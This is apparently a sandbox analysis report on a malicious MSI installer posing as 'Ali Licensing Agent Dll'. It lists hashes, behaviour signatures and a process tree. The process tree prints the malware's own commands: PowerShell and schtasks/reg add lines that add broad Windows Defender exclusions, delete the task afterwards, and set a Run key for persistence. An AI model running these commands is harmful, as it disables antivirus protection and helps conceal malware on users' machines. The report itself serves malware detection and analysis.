Analysis
- max time kernel
146s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
17/07/2026, 12:18
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
intall_app.66553010.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
23 signatures
150 seconds
Behavioral task
behavioral2
Sample
intall_app.66553010.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
23 signatures
150 seconds
General
- Target intall_app.66553010.msi
- Size 9.6MB
- Sample260717-pg1s5set5t
- SHA256 bad1bcd47849cbbf8fcf30cb255ddb5a2d9f05783e3376cc5a938daf49d62796
- MD5 74aa0e5f83128af6da9e7830b2d6e128
- SHA1 55f7d2bb9db6eacd24584c4c605380851e783ea7
- SHA512 cfde2ea9f43e7fe546c291e646c4b8bd6d33fc2477892879b94f8796307044a3b339c590aab96525eff73717766bdd2d77b12d853c385e6556a6615dda0b983e
- SSDEEP 196608:fbWUkwQHVfYrz/MS98s2k7Obu/mk4kUb+/q6YCF3u3o:DsRHVg71f2gObOmLkUbMJ39
- TLSH T12DA633D5BDD14A31D007C77891C2AAEEB01D3FC4BE7E5A027AD93B40CD72696207A798
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1652 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 3892 D4KfUy.exe - Loads dropped DLL 2 IoCs
pid Process 4744 MsiExec.exe 3892 D4KfUy.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\KEgb5Q\\D4KfUy.exe\"" D4KfUy.exe - Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 10 4744 MsiExec.exe 11 4744 MsiExec.exe 15 4744 MsiExec.exe 16 4744 MsiExec.exe 17 4744 MsiExec.exe 18 4744 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\M: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 468 cmd.exe 5872 cmd.exe 5132 cmd.exe 5212 cmd.exe 1356 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b D4KfUy.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe - Drops file in Windows directory 13 IoCs
description ioc Process File created C:\Windows\Installer\e59edb2.msi msiexec.exe File opened for modification C:\Windows\Installer\e59edb2.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\SystemTemp\~DF0F1040F2566270F7.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIF38E.tmp msiexec.exe File created C:\Windows\Installer\e59edb4.msi msiexec.exe File created C:\Windows\SystemTemp\~DFF7EB915D584DC76C.TMP msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DF0B1D71E145CC4E87.TMP msiexec.exe File created C:\Windows\Installer\SourceHash{DBE37440-1514-4BD7-8D8E-BFF5D9F3B754} msiexec.exe File opened for modification C:\Windows\Installer\MSIF42B.tmp msiexec.exe File created C:\Windows\SystemTemp\~DFFFB57EC73F5D2575.TMP msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 4848 msiexec.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000031a81fc62ba3bf350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c012000000000000000000000000270101000088380131a81fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e8410131a81fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e331a81fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e631a81fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe - Modifies registry class 22 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\04473EBD41517DB4D8E8FB5F9D3F7B45 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Media msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\PackageName = "intall_app.66553010.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\93B4AF7293B493B4A95CB49365D8B493 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\04473EBD41517DB4D8E8FB5F9D3F7B45\UpdFeatYKQD msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\ProductName = "Ali Licensing Agent Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Version = "50462843" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\PackageCode = "4D66210BCA41EF545A3EF85BDCE9500D" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Assignment = "1" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\93B4AF7293B493B4A95CB49365D8B493\04473EBD41517DB4D8E8FB5F9D3F7B45 msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5536 schtasks.exe 4156 schtasks.exe 4540 schtasks.exe 3364 schtasks.exe 5312 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 820 msiexec.exe 820 msiexec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 4744 MsiExec.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe 3892 D4KfUy.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4848 msiexec.exe Token: SeIncreaseQuotaPrivilege 4848 msiexec.exe Token: SeSecurityPrivilege 820 msiexec.exe Token: SeCreateTokenPrivilege 4848 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4848 msiexec.exe Token: SeLockMemoryPrivilege 4848 msiexec.exe Token: SeIncreaseQuotaPrivilege 4848 msiexec.exe Token: SeMachineAccountPrivilege 4848 msiexec.exe Token: SeTcbPrivilege 4848 msiexec.exe Token: SeSecurityPrivilege 4848 msiexec.exe Token: SeTakeOwnershipPrivilege 4848 msiexec.exe Token: SeLoadDriverPrivilege 4848 msiexec.exe Token: SeSystemProfilePrivilege 4848 msiexec.exe Token: SeSystemtimePrivilege 4848 msiexec.exe Token: SeProfSingleProcessPrivilege 4848 msiexec.exe Token: SeIncBasePriorityPrivilege 4848 msiexec.exe Token: SeCreatePagefilePrivilege 4848 msiexec.exe Token: SeCreatePermanentPrivilege 4848 msiexec.exe Token: SeBackupPrivilege 4848 msiexec.exe Token: SeRestorePrivilege 4848 msiexec.exe Token: SeShutdownPrivilege 4848 msiexec.exe Token: SeDebugPrivilege 4848 msiexec.exe Token: SeAuditPrivilege 4848 msiexec.exe Token: SeSystemEnvironmentPrivilege 4848 msiexec.exe Token: SeChangeNotifyPrivilege 4848 msiexec.exe Token: SeRemoteShutdownPrivilege 4848 msiexec.exe Token: SeUndockPrivilege 4848 msiexec.exe Token: SeSyncAgentPrivilege 4848 msiexec.exe Token: SeEnableDelegationPrivilege 4848 msiexec.exe Token: SeManageVolumePrivilege 4848 msiexec.exe Token: SeImpersonatePrivilege 4848 msiexec.exe Token: SeCreateGlobalPrivilege 4848 msiexec.exe Token: SeBackupPrivilege 6096 vssvc.exe Token: SeRestorePrivilege 6096 vssvc.exe Token: SeAuditPrivilege 6096 vssvc.exe Token: SeBackupPrivilege 820 msiexec.exe Token: SeRestorePrivilege 820 msiexec.exe Token: SeRestorePrivilege 820 msiexec.exe Token: SeTakeOwnershipPrivilege 820 msiexec.exe Token: SeRestorePrivilege 820 msiexec.exe Token: SeTakeOwnershipPrivilege 820 msiexec.exe Token: SeRestorePrivilege 820 msiexec.exe Token: SeTakeOwnershipPrivilege 820 msiexec.exe Token: SeBackupPrivilege 5152 srtasks.exe Token: SeRestorePrivilege 5152 srtasks.exe Token: SeSecurityPrivilege 5152 srtasks.exe Token: SeTakeOwnershipPrivilege 5152 srtasks.exe Token: SeBackupPrivilege 5152 srtasks.exe Token: SeRestorePrivilege 5152 srtasks.exe Token: SeSecurityPrivilege 5152 srtasks.exe Token: SeTakeOwnershipPrivilege 5152 srtasks.exe Token: SeRestorePrivilege 820 msiexec.exe Token: SeTakeOwnershipPrivilege 820 msiexec.exe Token: SeRestorePrivilege 820 msiexec.exe Token: SeTakeOwnershipPrivilege 820 msiexec.exe Token: SeRestorePrivilege 820 msiexec.exe Token: SeTakeOwnershipPrivilege 820 msiexec.exe Token: SeRestorePrivilege 820 msiexec.exe Token: SeTakeOwnershipPrivilege 820 msiexec.exe Token: SeRestorePrivilege 820 msiexec.exe Token: SeTakeOwnershipPrivilege 820 msiexec.exe Token: SeRestorePrivilege 820 msiexec.exe Token: SeTakeOwnershipPrivilege 820 msiexec.exe Token: SeRestorePrivilege 820 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 4848 msiexec.exe 4848 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4848 msiexec.exe 820 msiexec.exe 4744 MsiExec.exe - Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 820 wrote to memory of 5152 820 msiexec.exe 94 PID 820 wrote to memory of 4744 820 msiexec.exe 96 PID 3892 wrote to memory of 1652 3892 D4KfUy.exe 100 PID 3892 wrote to memory of 5872 3892 D4KfUy.exe 102 PID 5872 wrote to memory of 5536 5872 cmd.exe 104 PID 5872 wrote to memory of 3756 5872 cmd.exe 106 PID 5872 wrote to memory of 1360 5872 cmd.exe 109 PID 3892 wrote to memory of 5132 3892 D4KfUy.exe 110 PID 5132 wrote to memory of 4156 5132 cmd.exe 112 PID 5132 wrote to memory of 4932 5132 cmd.exe 114 PID 5132 wrote to memory of 5308 5132 cmd.exe 116 PID 3892 wrote to memory of 5212 3892 D4KfUy.exe 117 PID 5212 wrote to memory of 4540 5212 cmd.exe 119 PID 5212 wrote to memory of 4972 5212 cmd.exe 120 PID 5212 wrote to memory of 5208 5212 cmd.exe 122 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\intall_app.66553010.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4848
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:820 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:5152
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding B68320B9B726BFEFD355BF9DF73F2CBD E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4744
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:6096
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C:\Users\Public\KEgb5Q\D4KfUy.exe"C:\Users\Public\KEgb5Q\D4KfUy.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3892 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:1652
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\KEgb5Q\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5872 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\KEgb5Q\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5536
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3756
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1360
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5132 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4156
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4932
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5308
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5212 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4540
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4972
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5208
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:1356 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3364
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:400
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4596
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:468 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5312
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5592
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2116
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\KEgb5Q" /t REG_DWORD /d 0 /f1⤵PID:3220
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C:\Windows\system32\cmd.execmd.exe1⤵PID:3156
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵PID:1776
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵PID:5128
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵PID:1460
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵PID:2484
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C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵PID:1156
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
